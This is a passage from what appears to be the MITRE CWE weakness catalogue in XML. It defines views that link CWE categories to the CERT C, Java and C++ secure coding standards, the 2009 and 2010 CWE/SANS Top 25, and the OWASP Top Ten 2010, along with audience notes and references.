					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>740</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 06 - Arrays (ARR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>741</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>742</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>744</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 10 - Environment (ENV)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>745</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 11 - Signals (SIG)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>746</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 12 - Error Handling (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>747</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>748</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 50 - POSIX (POS)-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>The relationships in this view were determined based on specific
						statements within the rules from the standard. Not all rules have direct
						relationships to individual weaknesses, although they likely have chaining
						relationships in specific circumstances.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <References>
				        <Reference>
					          <Reference_Title>The CERT C Secure Coding Standard</Reference_Title>
					          <Reference_Publisher>Addison-Wesley Professional</Reference_Publisher>
					          <Reference_Date>2008-10-14</Reference_Date>
				        </Reference>
				        <Reference>
					          <Reference_Title>The CERT C Secure Coding Standard</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/seccode/CERT+C+Secure+Coding+Standard</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2008-11-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </View>
                    <View ID="750" Name="Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors" Status="Incomplete">
			      <View_Structure>Graph</View_Structure>
			      <View_Objective>
				        <Text>CWE entries in this view (graph) are listed in the 2009 CWE/SANS Top 25
					Programming Errors.</Text>
			      </View_Objective>
			      <View_Audience>
				        <Audience>
					          <Stakeholder>Developers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>By following the Top 25, developers will be able to significantly
							reduce the number of weaknesses that occur in their software.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Software_Customers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>If a software developer claims to be following the Top 25, then
							customers can search for the weaknesses in this view in order to
							formulate independent evidence of that claim.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Educators</Stakeholder>
					          <Stakeholder_Description>
						            <Text>Educators can use this view in multiple ways. For example, if there is
							a focus on teaching weaknesses, the educator could focus on the Top
							25.</Text>
					          </Stakeholder_Description>
				        </Audience>
			      </View_Audience>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>751</Relationship_Target_ID>
					          <!--2009 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>752</Relationship_Target_ID>
					          <!--2009 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>753</Relationship_Target_ID>
					          <!--2009 Top 25 - Porous Defenses-->
				</Relationship>
			      </Relationships>
			      <References>
				        <Reference>
					          <Reference_Title>2009 CWE/SANS Top 25 Most Dangerous Programming
						Errors</Reference_Title>
					          <Reference_Date>2009-01-12</Reference_Date>
					          <Reference_Link>http://cwe.mitre.org/top25</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-01-12</Submission_Date>
				        </Submission>
			      </Content_History>
		    </View>
                    <View ID="800" Name="Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors" Status="Incomplete">
			      <View_Structure>Graph</View_Structure>
			      <View_Objective>
				        <Text>CWE entries in this view (graph) are listed in the 2010 CWE/SANS Top 25
					Programming Errors.</Text>
			      </View_Objective>
			      <View_Audience>
				        <Audience>
					          <Stakeholder>Developers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>By following the Top 25, developers will be able to significantly
							reduce the number of weaknesses that occur in their software.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Software_Customers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>If a software developer claims to be following the Top 25, then
							customers can use the weaknesses in this view in order to formulate
							independent evidence of that claim.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Educators</Stakeholder>
					          <Stakeholder_Description>
						            <Text>Educators can use this view in multiple ways. For example, if there is
							a focus on teaching weaknesses, the educator could focus on the Top
							25.</Text>
					          </Stakeholder_Description>
				        </Audience>
			      </View_Audience>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>808</Relationship_Target_ID>
					          <!--2010 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>803</Relationship_Target_ID>
					          <!--2010 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>802</Relationship_Target_ID>
					          <!--2010 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>801</Relationship_Target_ID>
					          <!--2010 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
			      </Relationships>
			      <References>
				        <Reference>
					          <Reference_Title>2010 CWE/SANS Top 25 Most Dangerous Programming
						Errors</Reference_Title>
					          <Reference_Date>2010-02-04</Reference_Date>
					          <Reference_Link>http://cwe.mitre.org/top25</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2010-01-15</Submission_Date>
				        </Submission>
			      </Content_History>
		    </View>
                    <View ID="809" Name="Weaknesses in OWASP Top Ten (2010)" Status="Incomplete">
			      <View_Structure>Graph</View_Structure>
			      <View_Objective>
				        <Text>CWE nodes in this view (graph) are associated with the OWASP Top Ten, as
					released in 2010.</Text>
			      </View_Objective>
			      <View_Audience>
				        <Audience>
					          <Stakeholder>Developers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>This view outlines the most important issues as identified by the
							OWASP Top Ten (2010 version), providing a good starting point for web
							application developers who want to code more securely.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Software_Customers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>This view outlines the most important issues as identified by the
							OWASP Top Ten (2010 version), providing customers with a way of asking
							their software developers to follow minimum expectations for secure
							code.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Educators</Stakeholder>
					          <Stakeholder_Description>
						            <Text>Since the OWASP Top Ten covers the most frequently encountered issues,
							this view can be used by educators as training material for
							students.</Text>
					          </Stakeholder_Description>
				        </Audience>
			      </View_Audience>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>810</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A1 - Injection-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>811</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>812</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>813</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A4 - Insecure Direct Object References-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>814</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>815</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A6 - Security Misconfiguration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>816</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>817</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>818</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>819</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>The relationships in this view are a direct extraction of the CWE mappings
						that are in the 2010 OWASP document. CWE has changed since the release of
						that document.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <References>
				        <Reference>
					          <Reference_Title>Top 10 2010</Reference_Title>
					          <Reference_Publisher>OWASP</Reference_Publisher>
					          <Reference_Date>2010-04-19</Reference_Date>
					          <Reference_Link>http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-06-17</Submission_Date>
				        </Submission>
			      </Content_History>
		    </View>
                    <View ID="844" Name="Weaknesses Addressed by the CERT Java Secure Coding Standard" Status="Incomplete">
			      <View_Structure>Graph</View_Structure>
			      <View_Objective>
				        <Text>CWE entries in this view (graph) are fully or partially eliminated by
					following the CERT Java Secure Coding Standard. Since not all rules map to
					specific weaknesses, this view is incomplete.</Text>
			      </View_Objective>
			      <View_Audience>
				        <Audience>
					          <Stakeholder>Developers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>By following the CERT Java Secure Coding Standard, developers will be
							able to fully or partially prevent the weaknesses that are identified in
							this view. In addition, developers can use a CWE coverage graph to
							determine which weaknesses are not directly addressed by the standard,
							which will help identify and resolve remaining gaps in training, tool
							acquisition, or other approaches for reducing weaknesses.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Software_Customers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>If a software developer claims to be following the CERT Java Secure
							Coding standard, then customers can search for the weaknesses in this
							view in order to formulate independent evidence of that claim.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Educators</Stakeholder>
					          <Stakeholder_Description>
						            <Text>Educators can use this view in multiple ways. For example, if there is
							a focus on teaching weaknesses, the educator could link them to the
							relevant Secure Coding Standard.</Text>
					          </Stakeholder_Description>
				        </Audience>
			      </View_Audience>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>845</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>846</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 01 - Declarations and Initialization (DCL)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>847</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 02 - Expressions (EXP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>848</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>849</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 04 - Object Orientation (OBJ)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>850</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 05 - Methods (MET)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>851</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>852</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>853</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 08 - Locking (LCK)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>854</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 09 - Thread APIs (THI)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>855</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 10 - Thread Pools (TPS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>856</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 11 - Thread-Safety Miscellaneous (TSM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>857</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 12 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>858</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 13 - Serialization (SER)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>859</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 14 - Platform Security (SEC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>860</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 15 - Runtime Environment (ENV)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>861</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>The relationships in this view were determined based on specific
						statements within the rules from the standard. Not all rules have direct
						relationships to individual weaknesses, although they likely have chaining
						relationships in specific circumstances.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <References>
				        <Reference>
					          <Reference_Title>The CERT Oracle Secure Coding Standard for
						Java</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/display/java/The+CERT+Oracle+Secure+Coding+Standard+for+Java</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
			      </Content_History>
		    </View>
                    <View ID="868" Name="Weaknesses Addressed by the CERT C++ Secure Coding Standard" Status="Incomplete">
			      <View_Structure>Graph</View_Structure>
			      <View_Objective>
				        <Text>CWE entries in this view (graph) are fully or partially eliminated by
					following the CERT C++ Secure Coding Standard. Since not all rules map to
					specific weaknesses, this view is incomplete.</Text>
			      </View_Objective>
			      <View_Audience>
				        <Audience>
					          <Stakeholder>Developers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>By following the CERT C++ Secure Coding Standard, developers will be
							able to fully or partially prevent the weaknesses that are identified in
							this view. In addition, developers can use a CWE coverage graph to
							determine which weaknesses are not directly addressed by the standard,
							which will help identify and resolve remaining gaps in training, tool
							acquisition, or other approaches for reducing weaknesses.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Software_Customers</Stakeholder>
					          <Stakeholder_Description>
						            <Text>If a software developer claims to be following the CERT C++ Secure
							Coding Standard, then customers can search for the weaknesses in this
							view in order to formulate independent evidence of that claim.</Text>
					          </Stakeholder_Description>
				        </Audience>
				        <Audience>
					          <Stakeholder>Educators</Stakeholder>
					          <Stakeholder_Description>
						            <Text>Educators can use this view in multiple ways. For example, if there is
							a focus on teaching weaknesses, the educator could link them to the
							relevant Secure Coding Standard.</Text>
					          </Stakeholder_Description>
				        </Audience>
			      </View_Audience>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>869</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 01 - Preprocessor (PRE)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>870</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>871</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 03 - Expressions (EXP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>872</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>873</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>874</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>875</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 07 - Characters and Strings (STR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>876</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 08 - Memory Management (MEM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>878</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 10 - Environment (ENV)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
